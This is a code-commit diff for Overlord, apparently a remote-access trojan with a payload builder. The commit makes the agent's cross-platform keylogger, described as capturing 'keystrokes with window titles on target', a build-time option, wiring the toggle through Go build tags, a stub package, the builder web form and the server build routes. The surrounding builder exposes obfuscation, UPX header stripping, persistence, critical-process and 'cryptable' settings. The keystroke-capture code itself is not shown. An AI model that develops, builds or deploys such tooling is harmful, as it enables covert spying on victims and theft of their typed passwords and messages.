make keylogger optional

Overlord-Client/cmd/agent/keylogger/keylogger.go

@@ -1,3 +1,6 @@
+//go:build !nokeylogger
+// +build !nokeylogger
+
 package keylogger
 
 import (

Overlord-Client/cmd/agent/keylogger/keylogger_darwin.go

@@ -1,6 +1,5 @@
-// go:build darwin
+//go:build darwin && !nokeylogger
-//go:build darwin
+// +build darwin,!nokeylogger
-// +build darwin
 
 package keylogger
 

Overlord-Client/cmd/agent/keylogger/keylogger_default.go

@@ -1,4 +1,4 @@
-//go:build !windows && !linux && !darwin
+//go:build !windows && !linux && !darwin && !nokeylogger
 
 package keylogger
 

Overlord-Client/cmd/agent/keylogger/keylogger_disabled.go

@@ -0,0 +1,24 @@
+//go:build nokeylogger
+// +build nokeylogger
+
+package keylogger
+
+import "time"
+
+type Keylogger struct{}
+
+type FileInfo struct {
+	Name string
+	Size int64
+	Date time.Time
+}
+
+func New() *Keylogger { return nil }
+
+func (k *Keylogger) Start() error              { return nil }
+func (k *Keylogger) Stop()                     {}
+func (k *Keylogger) ListFiles() ([]FileInfo, error) { return nil, nil }
+func (k *Keylogger) ReadFile(string) ([]byte, error) { return nil, nil }
+func (k *Keylogger) ClearAll() error           { return nil }
+func (k *Keylogger) DeleteFile(string) error   { return nil }
+func (k *Keylogger) FlushNow()                 {}

Overlord-Client/cmd/agent/keylogger/keylogger_linux.go

@@ -1,6 +1,5 @@
-// go:build linux
+//go:build linux && !nokeylogger
-//go:build linux
+// +build linux,!nokeylogger
-// +build linux
 
 package keylogger
 

Overlord-Client/cmd/agent/keylogger/keylogger_windows.go

@@ -1,6 +1,5 @@
-// go:build windows
+//go:build windows && !nokeylogger
-//go:build windows
+// +build windows,!nokeylogger
-// +build windows
 
 package keylogger
 

Overlord-Client/cmd/agent/session.go

@@ -626,10 +626,12 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
 	defer env.Plugins.Close()
 
 	env.Keylogger = keylogger.New()
-	if err := env.Keylogger.Start(); err != nil {
+	if env.Keylogger != nil {
-		log.Printf("[keylogger] Failed to start: %v", err)
+		if err := env.Keylogger.Start(); err != nil {
-	} else {
+			log.Printf("[keylogger] Failed to start: %v", err)
-		defer env.Keylogger.Stop()
+		} else {
+			defer env.Keylogger.Stop()
+		}
 	}
 
 	dispatcher := handlers.NewDispatcher(env)

Overlord-Server/public/assets/build.js

@@ -125,6 +125,7 @@ function collectFormSettings() {
     stripDebug: document.querySelector('input[name="strip-debug"]')?.checked ?? true,
     disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false,
     noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
+    enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
     obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false,
     garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false,
     garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false,
@@ -178,6 +179,7 @@ function applyFormSettings(settings) {
   if (settings.stripDebug !== undefined) setCb('input[name="strip-debug"]', settings.stripDebug);
   if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo);
   if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
+  if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
   if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate);
   if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals);
   if (settings.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', settings.garbleTiny);
@@ -390,7 +392,7 @@ const CRYPTABLE_DISABLE_INPUTS = [
   "#sleep-seconds",
 ];
 
-const CRYPTABLE_HIDE_SECTIONS = [4, 5, 6];
+const CRYPTABLE_HIDE_SECTIONS = [5, 6, 7];
 
 function applyCryptableMode(enabled) {
   const badge = document.getElementById("cryptable-badge");
@@ -1342,6 +1344,7 @@ form?.addEventListener("submit", async (e) => {
   const noPrinting = form.querySelector(
     'input[name="no-printing"]',
   ).checked;
+  const enableKeylogger = form.querySelector('input[name="enable-keylogger"]')?.checked ?? true;
 
   const outputNameVal = form.querySelector("#output-name")?.value.trim() || "";
   const garbleLiterals = form.querySelector('input[name="garble-literals"]')?.checked || false;
@@ -1375,6 +1378,7 @@ form?.addEventListener("submit", async (e) => {
     startupName: enablePersistence && (hasWindowsTarget || hasPersistentUnixTarget) && startupNameVal ? startupNameVal : undefined,
     hideConsole,
     noPrinting,
+    disableKeylogger: !enableKeylogger,
     outputName: outputNameVal || undefined,
     garbleLiterals: obfuscate ? garbleLiterals : undefined,
     garbleTiny: obfuscate ? garbleTiny : undefined,

Overlord-Server/public/build.html

@@ -285,6 +285,7 @@
                       </div>
                     </label>
 
+
                     <label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-purple-500 transition-colors">
                       <input type="checkbox" name="obfuscate" class="w-4 h-4" />
                       <div class="flex flex-col">
@@ -368,7 +369,32 @@
                 </div>
               </div>
 
-              <!-- == Section 4: Persistence (collapsed) == -->
+              <!-- == Section 4: Features == -->
+              <div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="true">
+                <button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
+                  <span class="flex items-center gap-2 text-sm font-medium text-slate-200">
+                    <i class="fa-solid fa-puzzle-piece text-cyan-400"></i> Features
+                  </span>
+                  <i class="fa-solid fa-chevron-down accordion-chevron text-slate-400 text-xs"></i>
+                </button>
+                <div class="accordion-body">
+                  <div class="accordion-inner px-4 pb-4 pt-3 flex flex-col gap-2">
+
+                    <label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-amber-500 transition-colors">
+                      <input type="checkbox" name="enable-keylogger" class="w-4 h-4" checked />
+                      <div class="flex flex-col">
+                        <span class="flex items-center gap-2">
+                          <i class="fa-solid fa-keyboard text-amber-400"></i> Keylogger
+                        </span>
+                        <span class="text-xs text-slate-500">Captures keystrokes with window titles on target</span>
+                      </div>
+                    </label>
+
+                  </div>
+                </div>
+              </div>
+
+              <!-- == Section 5: Persistence (collapsed) == -->
               <div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="false">
                 <button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
                   <span class="flex items-center gap-2 text-sm font-medium text-slate-200">

Overlord-Server/src/server/build-process.ts

@@ -852,6 +852,9 @@ func runBoundFiles() {
       if (config.noPrinting) {
         sendToStream({ type: "output", text: "Client printing disabled (noprint tag)\n", level: "info" });
       }
+      if (config.disableKeylogger) {
+        sendToStream({ type: "output", text: "Keylogger disabled (nokeylogger tag)\n", level: "info" });
+      }
 
       // Linux CGO builds must be fully statically linked to avoid glibc version
       // mismatches between the build server and target machines.
@@ -865,6 +868,7 @@ func runBoundFiles() {
         const buildTool = config.obfuscate ? "garble" : "go";
         const buildTags: string[] = [];
         if (config.noPrinting) buildTags.push("noprint");
+        if (config.disableKeylogger) buildTags.push("nokeylogger");
         if (hasBoundFiles) buildTags.push("hasbinder");
         if (config.enablePersistence && os === "windows") {
           const methods = config.persistenceMethods && config.persistenceMethods.length > 0

Overlord-Server/src/server/routes/build-routes.ts

@@ -106,6 +106,7 @@ export async function handleBuildRoutes(
         upxStripHeaders,
         requireAdmin,
         criticalProcess,
+        disableKeylogger,
         outputExtension,
         sleepSeconds,
         boundFiles,
@@ -372,6 +373,7 @@ export async function handleBuildRoutes(
         upxStripHeaders: !!upxStripHeaders,
         requireAdmin: safeRequireAdmin,
         criticalProcess: safeCriticalProcess,
+        disableKeylogger: !!disableKeylogger,
         outputExtension: safeOutputExtension,
         sleepSeconds: safeSleepSeconds,
         boundFiles: safeBoundFiles,